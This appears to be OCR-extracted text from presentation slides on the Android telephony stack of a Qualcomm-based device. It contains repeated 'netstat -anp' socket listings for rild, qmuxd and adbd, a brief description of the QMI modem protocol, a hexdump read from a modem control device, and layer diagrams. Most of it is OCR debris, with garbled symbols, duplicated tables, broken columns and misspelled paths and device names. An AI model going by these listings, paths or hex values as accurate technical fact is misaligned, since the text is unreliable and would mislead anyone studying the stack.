WWNDWWWWN WWwWwhNh wWwoNoho &~ WD WD W

gs

«
(@)

Qo QO
[N oNe!

[oNeoRON®)
OO0

Type
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM

State

CONNECTED
CONNECTED
LISTENING
CONNECTED
LISTENING
LISTENING
CONNECTED
LISTENING
LISTENING

LISTENING
LISTENING
LISTENING
LISTENING
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED

[-Node
1787
1834
1895
1927
1971
1972
1973
1811
1906
1868
1908
1922
1979
1930
2040
2039
1991
1985
1984
1982
1976
1966
1928
1925
1871
1809
1808

PID/Program name
226/ at fwd_daemon

Path
/var/qmux_client_socket

259/qmi_shutdown_mo /var/qmux_client_socket
242/ qmuxd /var /qmux_connect_socket
256/netmgrd /var/qmux_client_socket
329/rild /var/rild

329/rild /var/rild-debug
329/rild /var/qmux_client_socket
250/ adbd @jdwp-control

330/ commander @COMMANDER

280/syslogd /dev/log
331/wifi_daemon /tmp/wifi
338/FOTA_DAEMON /tmp/ua

327/start @android

339/debuggerd @debuggerd

250/ adbd

250/ adbd

327/start @android

329/rild /var/rild
363/com.android.phone

363/com.android.phone

242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
286/klogd

250/ adbd

250/ adbd

226
259

256

329




Rild2| socket &

A'I

/ # netstat —anp

Active UNIX domain sockets (servers and established)

Proto RefCnt Fla
unix 3 [ ]
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
/ #

e e e e e e e e e e O e O e

WWNDWWWWN WWwWwhNh wWwoNoho &~ WD WD W

gs

«
(@)

Qo QO
[N oNe!

[oNeoRON®)
OO0

Type
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM

State

CONNECTED
CONNECTED
LISTENING
CONNECTED

CONNECTED
LISTENING
LISTENING

LISTENING
LISTENING
LISTENING
LISTENING
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED

[-Node
1787
1834
1895
1927
1971
1972
1973
1811
1906
1868
1908
1922
1979
1930
2040
2039
1991
1985
1984
1982
1976
1966
1928
1925
1871
1809
1808

PID/Program name
226/ at fwd_daemon

Path
/var/qmux_client_socket

259/qmi_shutdown_mo /var/qmux_client_socket
242/ qmuxd /var /qmux_connect_socket
256/netmgrd /var/qmux_client_socket
329/rild /var/rild

329/rild /var/rild-debug

329/rild /var/qmux_client_socket
250/ adbd @jdwp-control

330/ commander @COMMANDER

280/syslogd /dev/log
331/wifi_daemon /tmp/wifi
338/FOTA_DAEMON /tmp/ua

327/start @android

339/debuggerd @debuggerd

250/ adbd

250/ adbd

327/start @android

329/rild /var/rild
363/com.android.phone

363/com.android.phone

242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
286/klogd

250/ adbd

250/ adbd

226
259

256

329




Rild2| socket &

A'I

/ # netstat —anp

Active UNIX domain sockets (servers and established)

Proto RefCnt Fla
unix 3 [ ]
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
/ #

e e e e e e e e e e O e O e

WWNDWWWWN WWwWwhNh wWwoNoho &~ WD WD W

gs

«
(@)

Qo QO
[N oNe!

[oNeoRON®)
OO0

Type
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM

State

CONNECTED
CONNECTED
LISTENING
CONNECTED

CONNECTED
LISTENING
LISTENING

LISTENING
LISTENING
LISTENING
LISTENING
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED

[-Node
1787
1834
1895
1927
1971
1972
1973
1811
1906
1868
1908
1922
1979
1930
2040
2039
1991
1985
1984
1982
1976
1966
1928
1925
1871
1809
1808

PID/Program name
226/ at fwd_daemon

Path
/var/qmux_client_socket

259/qmi_shutdown_mo /var/qmux_client_socket
242/ qmuxd /var /qmux_connect_socket
256/netmgrd /var/qmux_client_socket
329/rild /var/rild

329/rild /var/rild-debug

329/rild /var/qmux_client_socket
250/ adbd @jdwp-control

330/ commander @COMMANDER

280/syslogd /dev/log
331/wifi_daemon /tmp/wifi
338/FOTA_DAEMON /tmp/ua

327/start @android

339/debuggerd @debuggerd

250/ adbd

250/ adbd

327/start @android

329/rild /var/rild
363/com.android.phone

363/com.android.phone

242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
286/klogd

250/ adbd

250/ adbd

226
259

256

329




Rild2| socket &

A'I

/ # netstat —anp

Active UNIX domain sockets (servers and established)
Proto RefCnt Flags

unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
/ #

3

WWNDWWWWN WWwWwhNh wWwoNoho &~ WD WD W

[ ]

e e e e e e e e e e O e O e

«
(@)

Qo QO
[N oNe!

[oNeoRON®)
OO0

Type
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM

State

CONNECTED
CONNECTED
LISTENING
CONNECTED

CONNECTED
LISTENING
LISTENING

LISTENING
LISTENING
LISTENING
LISTENING
CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED

[-Node
1787
1834
1895
1927
1971
1972
1973
1811
1906
1868
1908
1922
1979
1930
2040
2039
1991
1985

1982
1976
1966
1928
1925
1871
1809
1808

PID/Program name
226/ at fwd_daemon

Path
/var/qmux_client_socket

259/qmi_shutdown_mo /var/qmux_client_socket
242/ qmuxd /var /qmux_connect_socket
256/netmgrd /var/qmux_client_socket
329/rild /var/rild

329/rild /var/rild-debug

329/rild /var/qmux_client_socket
250/ adbd @jdwp-control

330/ commander @COMMANDER

280/syslogd /dev/log
331/wifi_daemon /tmp/wifi
338/FOTA_DAEMON /tmp/ua

327/start @android

339/debuggerd @debuggerd

250/ adbd

250/ adbd

327/start @android

329/rild /var/rild
363/com.android.phone

242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
286/klogd

250/ adbd

250/ adbd

226
259

256

329




Rild2| socket &

A'I

/ # netstat —anp

Active UNIX domain sockets (servers and established)

Proto RefCnt Fla
unix 3 [ ]
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix

i

WWNDWWWWN WWwWwhNh wWwoNoho &~ WD WD W

gs

«
(@)

Qo QO
[N oNe!

[oNeoRON®)
OO0

Type
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM

State

CONNECTED
CONNECTED
LISTENING
CONNECTED

CONNECTED
LISTENING
LISTENING

LISTENING
LISTENING
LISTENING
LISTENING
CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED

[-Node
1787
1834
1895
1927
1971
1972
1973
1811
1906
1868
1908
1922
1979
1930
2040
2039
1991
1985

1982
1976
1966
1928
1925
1871
1809
1808

PID/Program name
226/ at fwd_daemon

Path
/var/qmux_client_socket

259/qmi_shutdown_mo /var/gqmux_client_socket

242 /qmuxd
256/netmg
329/rild
329/rild
329/rild
250/adbd

330/ commander
280/syslogd
331/wifi_daemon
338/FOTA_DAEMON
327/start
339/debuggerd
250/ adbd
250/adbd
327/start
329/rild

363/com. af
242/ qmuxd
242 /qmuxd
242/qmuxd
242 /qmuxd
286/klogd
250/ adbd
250/ adbd

/var /qmux_connect_socket
' ' lient_socket

/var/1riiu uebug
/var/qmux_client_socket
@jdwp-control
@COMMANDER

/dev/log

/tmp/wifi

/tmp/ua

@android

@debuggerd

/var/rild

/ valiry Lilul.l[\_\/\.lllllk/\/ L_wvuLinico o
/var /qmux_connect_socket
/var/gqmux_connect_socket

226
259

256

329
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RISSIISEIRISAN phone Application ( Dialer, SMS - )

Application
Framework

< com.android.phone (client)
& /var/rild 271

& /sbin/rild (server)

Lin

Kermel

Linux 1P Stack

Packet Driver
|“»;I‘1'

< QUALCOMM MODEM
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« AT command VS QMI
— QMI : Qualcomm MSM Interface

What is QMI?

QMI is a binary protocol designed to replace the AT command based communication with
modems, and is available in devices with Qualcomm chipsets from multiple vendors (Novatel,
Huawei, Sierra Wireless, ZTE... and of course Qualcomm itself).

The protocol defines different ‘services‘, each of them related to different actions that may
be requested to the modem. For example, the ‘DMS’ (Device Management) service provides
actions to load device information; while the ‘NAS’ (Network Access) service provides actions
to register in the network. Similarly, other services will allow the user to request data
connections (WDS), setup GPS location reporting (PDS), or manage internals of the user identity
module (UIM service). The user needs to handle the creation of ‘clients’ for those services by
allocating/deallocating ‘client IDs’ using the generic always-on ‘control’ (CTL) service.




/dev/smdcntlO

/ # cat /dev/smdent10 | xxd

0000000
0000010
0000020
0000030
0000040
0000050
0000060 :
0000070
0000080
0000090
00000a0:

/ #

013b
0011
9036
6715
0301
96ff
0400
fiff
0001
0006
4031

0080
1d00
2321
0800
0400
ffff
0051
1303
002f
1500
1024

0501
0015
£100
0791
0051
1303
0011
00aZ2
0016
040b
2163

0400
0000
0861
2801
0011
00a9
0011
0700
0100
allO
0200

0001
0006
4031
0219
0011
0700
0800
013b
0011
9036
6715

002f
1500
1024
4139
0800
011d
3305
0080
1d00
2321
0800

0016
040b
2163
011d
38305
0080
0008
0501
0016
£100
0791

0100
allO
0200
0080
0008
0301
961 f
0400
0000
0861
2801
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Android telephony stack

Applications Phone Application ( Dialer, SMS - )

Application masevin < com.android.phone

Framework

& Jvar/rild 27

Librarie
(user s

& /sbin/rild

< /dev/smdcntlO

< QUALCOMM MODEM




gmuxd <->rild &

7=|

/ # netstat —anp

Active UNIX domain sockets (servers and established)
RefCnt Flags

Proto
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
/ #
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Type
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM

State

CONNECTED
CONNECTED
LISTENING
CONNECTED
LISTENING
LISTENING
CONNECTED
LISTENING
LISTENING

LISTENING
LISTENING
LISTENING
LISTENING
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED

[-Node
1787
1834
1895
1927
1971
1972
1973
1811
1906
1868
1908
1922
1979
1930
2040
2039
1991
1985
1976
1966
1928
1925
1871
1809
1808

PID/Program name
226/ at fwd_daemon

259/qmi_shutdown_mo

242 /qmuxd
256/netmgrd
329/rild
329/rild
329/rild
250/adbd

330/ commander
280/syslogd
331/wifi_daemon
338/FOTA_DAEMON
327/start
339/debuggerd
250/adbd
250/adbd
327/start
329/rild

242/ qmuxd

242 /qmuxd

242 /qmuxd

242 /qmuxd
286/klogd
250/ adbd

250/ adbd

Path
/var/qmux_client_socket
/var/qmux_client_socket
/var/gqmux_connect_socket
/var/qmux_client_socket
/var/rild
/var/rild-debug
/var/qmux_client_socket
@jdwp—control
@COMMANDER

/dev/log

/tmp/wifi

/tmp/ua

@android

@debuggerd

@android
/var/rild
/var/gqmux_connect_socket
/var/qmux_connect_socket
/var /qmux_connect_socket
/var/gqmux_connect_socket

226
259

256

329




gmuxd <->rild &

7=|

/ # netstat —anp

Active UNIX domain sockets (servers and established)

Proto RefCnt Fla
unix 3 [ ]
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
/ #
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Type
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM

State

CONNECTED
CONNECTED
LISTENING
CONNECTED
LISTENING
LISTENING
CONNECTED
LISTENING
LISTENING

LISTENING
LISTENING
LISTENING
LISTENING
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED

[-Node
1787
1834
1895
1927
1971
1972
1973
1811
1906
1868
1908
1922
1979
1930
2040
2039
1991
1985
1976
1966
1928
1925
1871
1809
1808

PID/Program name
226/ at fwd_daemon

Path

259/qmi_shutdown_mo /var,

242 /qmuxd
256/netmgrd
329/rild
329/rild
329/rild
250/adbd

330/ commander
280/syslogd
331/wifi_daemon
338/FOTA_DAEMON
327/start
339/debuggerd
250/ adbd
250/adbd
327/start
329/rild
242/qmuxd

242 /qmuxd
242/qmuxd

242 /qmuxd
286/klogd
250/ adbd

250/ adbd

/var/gqmux_connect_socket
/var/qmux_client_socket
/var/rild
/var/rild-debug
/var/qmux_client_socket

226
299

256

329

@jdwp-control

/dev/log
/tmp/wifi
/tmp/ua
@android
@debuggerd

@android

YA B W |

/var/gqmux_connect_socket
/var/gqmux_connect_socket
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< com.android.phone
& Jvar/rild &7

& /sbin/rild

< /usr/bin/gmuxd
& /dev/smdcntlO

< QUALCOMM MODEM




